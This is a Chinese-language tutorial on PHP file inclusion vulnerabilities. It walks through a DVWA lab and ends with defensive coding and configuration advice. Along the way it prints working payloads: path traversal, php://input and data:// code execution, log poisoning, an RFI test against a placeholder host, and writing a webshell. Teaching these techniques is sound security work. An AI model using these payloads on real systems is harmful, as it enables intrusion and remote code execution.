如果你是一名Web开发者或安全测试人员,最近是否遇到过这样的困惑:明明已经按照安全规范对用户输入进行了过滤,但系统依然被曝出存在文件包含漏洞?或者,你在进行代码审计时,发现一个看似无害的include或require语句,却不确定它是否真的安全?
文件包含漏洞,尤其是Web文件包含,远不止是“读取服务器文件”那么简单。它像一条隐蔽的通道,攻击者可以利用它绕过前端验证、执行恶意代码、甚至与服务器其他漏洞形成“组合拳”,最终实现完全的系统控制。很多人以为这只是PHP的“专利”,或者只存在于老旧系统中,但实际上,只要程序动态地引入了外部文件,无论是PHP、JSP还是其他服务端语言,都可能潜藏风险。
本文将深入剖析“Web文件包含”漏洞,特别是其高级利用技巧(对应“-3”的深度)。我们不止步于概念讲解,而是聚焦于实战中的漏洞成因、自动化与手工的探测方法、以及那些容易被忽略的防御盲点。你会看到,为什么简单的黑名单过滤会被绕过,以及如何从架构和代码层面真正地“包含”安全。
通过本文,你将能:
- 透彻理解文件包含漏洞的核心原理与分类(LFI/RFI)。
- 掌握实战探测与利用文件包含漏洞的手动及工具化方法。
- 深入规避常见防御措施的绕过技巧,理解其局限性。
- 构建真正有效的、多层级的防御策略,而不仅仅是修复单个漏洞。
1. 文件包含漏洞:不止是“读文件”那么简单
在深入技术细节之前,我们必须建立一个关键认知:文件包含漏洞的本质是“程序逻辑信任了不可控的用户输入,并将其作为代码的一部分来执行”。
这比简单的“读取敏感文件”严重得多。当攻击者能够控制被包含的文件路径时,他们可能实现以下攻击:
- 敏感信息泄露:读取
/etc/passwd,config.php, 数据库配置文件等。 - 远程代码执行(RCE):在特定条件下,包含一个远程服务器上的恶意脚本,使其在目标服务器上执行。
- 本地文件执行:利用PHP的
php://input、zip://等包装器,或日志文件、Session文件等“临时文件”,注入并执行代码。 - 攻击链的一环:与文件上传、SQL注入等漏洞结合,扩大攻击面。
根据包含的目标文件来源,漏洞主要分为两类:
- 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件。
- 远程文件包含(RFI, Remote File Inclusion):包含远程URL上的文件。这通常需要服务器配置(如PHP的
allow_url_include设置为 On)开启支持,风险极高。
一个典型的漏洞代码示例如下(PHP):
// vulnerable.php $page = $_GET['page']; // 用户直接控制输入 include('/pages/' . $page . '.php');攻击者可以构造请求:vulnerable.php?page=../../../../etc/passwd%00。这里使用了目录遍历(../)和空字节截断(%00,在PHP旧版本有效)来读取系统文件。
2. 环境准备:搭建靶场与测试环境
理解漏洞最好的方式是亲手实践。我们首先搭建一个安全的测试环境。
强烈建议:所有测试均在本地虚拟机或隔离的Docker容器中进行,切勿在公网或生产环境尝试。
2.1 使用 Docker 快速搭建 PHP 测试环境
这里我们使用一个集成了常见漏洞的Web应用靶场,例如DVWA (Damn Vulnerable Web Application)或专门的文件包含靶场。
以DVWA为例,使用Docker一键部署:
# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器,将容器80端口映射到主机8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa访问http://localhost:8080,按照提示完成安装(数据库密码通常为p@ssw0rd),并将安全级别设置为“Low”。
2.2 测试工具准备
- 浏览器 & 开发者工具:用于手动构造和发送HTTP请求,观察响应。
- Burp Suite / OWASP ZAP:代理工具,用于拦截、重放和模糊测试请求,自动化发现漏洞。
- 命令行工具:
curl用于快速测试,gobuster或dirsearch用于目录扫描,寻找可能被包含的文件。 - PHP 本地环境:用于理解包装器(Wrapper)和行为。确保
allow_url_fopen和allow_url_include在php.ini中可配置(测试时根据需要开启)。
3. 漏洞探测:手动与自动化方法
探测文件包含漏洞,需要从参数中寻找可能控制文件路径的点。常见参数名包括:page,file,load,path,include,module等。
3.1 手动探测(黑盒与灰盒)
黑盒测试(无源码):
- 参数枚举:对每个GET/POST参数尝试注入路径遍历payload。
?page=../../../../etc/passwd ?file=....//....//....//windows/win.ini (Windows系统) - 观察错误信息:提交异常路径(如
?page=invalid),观察是否返回包含路径信息的错误(如“Warning: include(/pages/invalid.php): failed to open stream”)。这证实了include函数被使用。 - 测试空字节与编码:
- 空字节截断:
?page=../../../etc/passwd%00(PHP < 5.3.4) - URL编码:
../可编码为%2e%2e%2f或..%2f - 双重URL编码:
%252e%252e%252f
- 空字节截断:
- 测试RFI:尝试包含一个你控制的远程URL,观察服务器是否尝试获取。
在你的服务器上监听请求,看是否有来自目标服务器的连接。?page=http://your-server.com/test.txt
灰盒测试(有部分信息或源码): 直接搜索源码中的include,require,include_once,require_once函数,检查其参数是否由$_GET,$_POST,$_COOKIE等超全局变量直接或未经严格过滤地拼接而成。
3.2 自动化探测(使用 Burp Suite)
Burp Suite的Scanner和Intruder模块非常强大。
- 被动扫描:正常浏览网站,Burp会自动标记潜在的LFI/RFI漏洞。
- 主动扫描:对特定请求启动主动扫描,Burp会使用预定义的payload字典进行测试。
- Intruder模糊测试:
- 定位到可疑参数,将其标记为payload位置。
- 在Payloads标签页,加载文件包含相关的payload字典(如
SecLists中的LFI-Jhaddix.txt)。 - 根据响应长度、状态码、内容关键字(如“root:x:0:0”)来判断是否成功。
4. 核心利用技巧:从LFI到RCE的跨越
仅仅读取文件可能无法满足攻击者的目标。真正的危险在于将文件包含漏洞转化为代码执行。
4.1 利用PHP包装器(Wrappers)
PHP内置的多种包装器是LFI通向RCE的桥梁。
php://filter– 读取源码用于读取PHP文件源码,因为直接包含PHP文件会被执行。通过过滤器进行Base64编码后读取。?page=php://filter/convert.base64-encode/resource=config.php响应是一串Base64编码,解码后即可获得
config.php的源代码。php://input– 执行POST代码需要allow_url_include=On。将PHP代码放在POST主体中执行。curl -X POST "http://target/vuln.php?page=php://input" --data "<?php system('id'); ?>"zip://或phar://– 包含压缩包内文件如果网站有文件上传功能,可以上传一个包含恶意脚本的ZIP文件,然后包含它。# 假设上传了shell.zip,其中包含shell.php ?page=zip:///path/to/uploads/shell.zip%23shell.php # 注意:`#` 在URL中需要编码为 `%23`data://– 直接包含数据流需要allow_url_include=On。直接在URL中嵌入Base64编码的代码。?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2B # 解码后是 <?php system("id"); ?>
4.2 利用日志文件污染
这是一种经典的LFI to RCE技术,无需特殊配置。
- 寻找日志路径:常见如
/var/log/apache2/access.log,/var/www/logs/access.log。 - 污染日志:将PHP代码作为User-Agent或请求路径的一部分发送给服务器,这些信息会被记录到访问日志中。
curl -A "<?php system($_GET['c']);?>" http://target/ - 包含日志文件:然后利用LFI漏洞去包含这个日志文件。
服务器会解析日志文件中被记录的恶意代码,执行?page=../../../var/log/apache2/access.log&c=idid命令。
4.3 利用临时文件(如Session文件)
如果应用将用户可控数据存储到Session文件中(/tmp/sess_[PHPSESSID]),且Session文件路径可预测,也可以实现污染。
- 控制Session内容:通过表单或参数将
<?php phpinfo();?>存入$_SESSION['data']。 - 包含Session文件:利用LFI包含形如
/tmp/sess_yoursessionid的文件。
5. 绕过常见防御措施
开发人员通常会采取一些措施来防御,但很多方法存在缺陷。
5.1 绕过路径前缀/后缀限制
假设代码为:
$file = $_GET['file']; include('/var/www/html/includes/' . $file . '.php');防御意图:将文件限制在includes目录下。绕过方法:使用目录遍历跳出限制。
?file=../../../../etc/passwd%00即使加了后缀.php,空字节(%00)在旧版PHP中会截断后面的字符串,使得../../../../etc/passwd%00.php变成../../../../etc/passwd。
5.2 绕过黑名单过滤
如果代码尝试过滤../、etc/passwd等关键词。
$file = str_replace(['../', 'etc'], '', $_GET['file']);绕过方法:使用双写、嵌套、非常规路径表示。
- 双写绕过:
..././过滤一次../后变成../。 - 绝对路径:直接使用
/etc/passwd(如果Web进程有权限)。 - Windows特性:在Windows上,
..\、....\或使用~可能有效。
5.3 白名单验证的局限性
最安全的似乎是白名单。
$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); }但如果白名单验证和包含操作之间存在逻辑分离或时间差(TOCTOU,竞态条件),或在某些复杂框架中,通过其他参数(如module、action)间接控制路径,仍可能存在绕过空间。
6. 实战演练:从发现到利用完整流程
假设我们有一个靶场地址:http://dvwa.local/vulnerabilities/fi/
步骤1:发现漏洞点访问页面,发现URL为?page=include.php。尝试修改参数。
http://dvwa.local/vulnerabilities/fi/?page=../../../../etc/passwd返回了/etc/passwd的内容,确认存在LFI。
步骤2:尝试读取Web源码使用php://filter读取首页源码。
?page=php://filter/convert.base64-encode/resource=index.php将返回的Base64字符串解码,获得源码。
步骤3:尝试日志文件污染RCE
- 首先确定日志路径。通过LFI尝试常见路径,发现
/var/log/apache2/access.log可读。 - 污染日志:
curl -A "<?php echo shell_exec(\$_GET['cmd']);?>" "http://dvwa.local/vulnerabilities/fi/?page=include.php" - 包含日志并执行命令:
如果成功,页面会显示命令?page=../../../var/log/apache2/access.log&cmd=idid的执行结果。
步骤4:获取WebShell通过写入文件的方式获取持久化后门。
- 利用存在漏洞的页面执行写文件命令:
注意:需要Web进程对目标目录有写权限。?page=../../../var/log/apache2/access.log&cmd=echo '<?php system($_GET["c"]);?>' > /var/www/html/dvwa/hack.php - 访问写入的WebShell:
http://dvwa.local/hack.php?c=whoami
7. 防御策略:构建纵深防御体系
单一的防御措施很容易被绕过,必须建立多层防御。
7.1 代码层(治本)
- 避免动态包含:尽可能使用静态映射或路由表。
- 使用白名单:如果必须动态包含,使用严格的白名单机制。
$allowed = ['home' => 'home.php', 'about' => 'about.php']; $key = $_GET['page']; if (array_key_exists($key, $allowed)) { include(__DIR__ . '/templates/' . $allowed[$key]); } else { include(__DIR__ . '/templates/error.php'); } - 严格路径控制:
- 使用
basename()函数获取文件名,去除路径。 - 使用
realpath()检查解析后的真实路径是否在允许的目录内。
$baseDir = '/var/www/html/includes/'; $userFile = $_GET['file']; $realPath = realpath($baseDir . $userFile); if ($realPath && strpos($realPath, $baseDir) === 0) { include($realPath); } else { die('Invalid file path.'); } - 使用
7.2 配置层
- PHP配置:
allow_url_include = Off(默认值,永远不要开启)allow_url_fopen = Off(根据业务需要,非必要则关闭)open_basedir:将PHP可访问的文件限制在特定目录树内。
- Web服务器配置:为Web进程用户设置严格的文件系统权限,遵循最小权限原则。
- 系统层:使用容器化或虚拟化技术隔离应用,限制其访问范围。
7.3 运维与安全层
- 安全开发生命周期(SDL):在需求、设计、编码、测试各阶段融入安全考量。
- 代码审计:定期进行人工或自动化代码审计,重点关注文件操作函数。
- Web应用防火墙(WAF):部署WAF,配置规则拦截常见的路径遍历、包装器利用等攻击payload。
- 入侵检测与日志监控:监控对非正常文件(如
../../../,php://filter)的访问请求,及时报警。
8. 总结与核心要点
Web文件包含漏洞是一个经典的“信任边界”问题。它的危害性随着利用技巧的提升而倍增,从信息泄露到远程代码执行,往往只有一步之遥。
回顾本文,你需要记住几个核心要点:
- 漏洞根源:用户输入未经严格验证直接用于文件包含操作。
- 利用演进:LFI -> 利用包装器/日志 -> RCE。
php://filter和日志污染是两大关键跳板。 - 探测思路:手动从参数和错误信息入手,自动化借助Burp等工具进行模糊测试。
- 绕过关键:理解过滤逻辑的缺陷,善用编码、截断和特性。
- 防御本质:白名单优于黑名单,静态优于动态,最小权限原则是基石。任何单一的过滤都不可靠,必须构建从代码到配置到运维的纵深防御。
对于开发者而言,在写下每一个include或require时,都应将其视为一个潜在的安全入口。对于安全人员,文件包含漏洞是渗透测试中必须检查的重点项目之一,它常常是打开内网大门的“第一把钥匙”。
建议将本文提及的测试方法在DVWA等靶场中反复练习,并尝试审计自己项目中的相关代码。只有将理论转化为肌肉记忆,才能在实战中快速识别和修复这类隐蔽而危险的安全漏洞。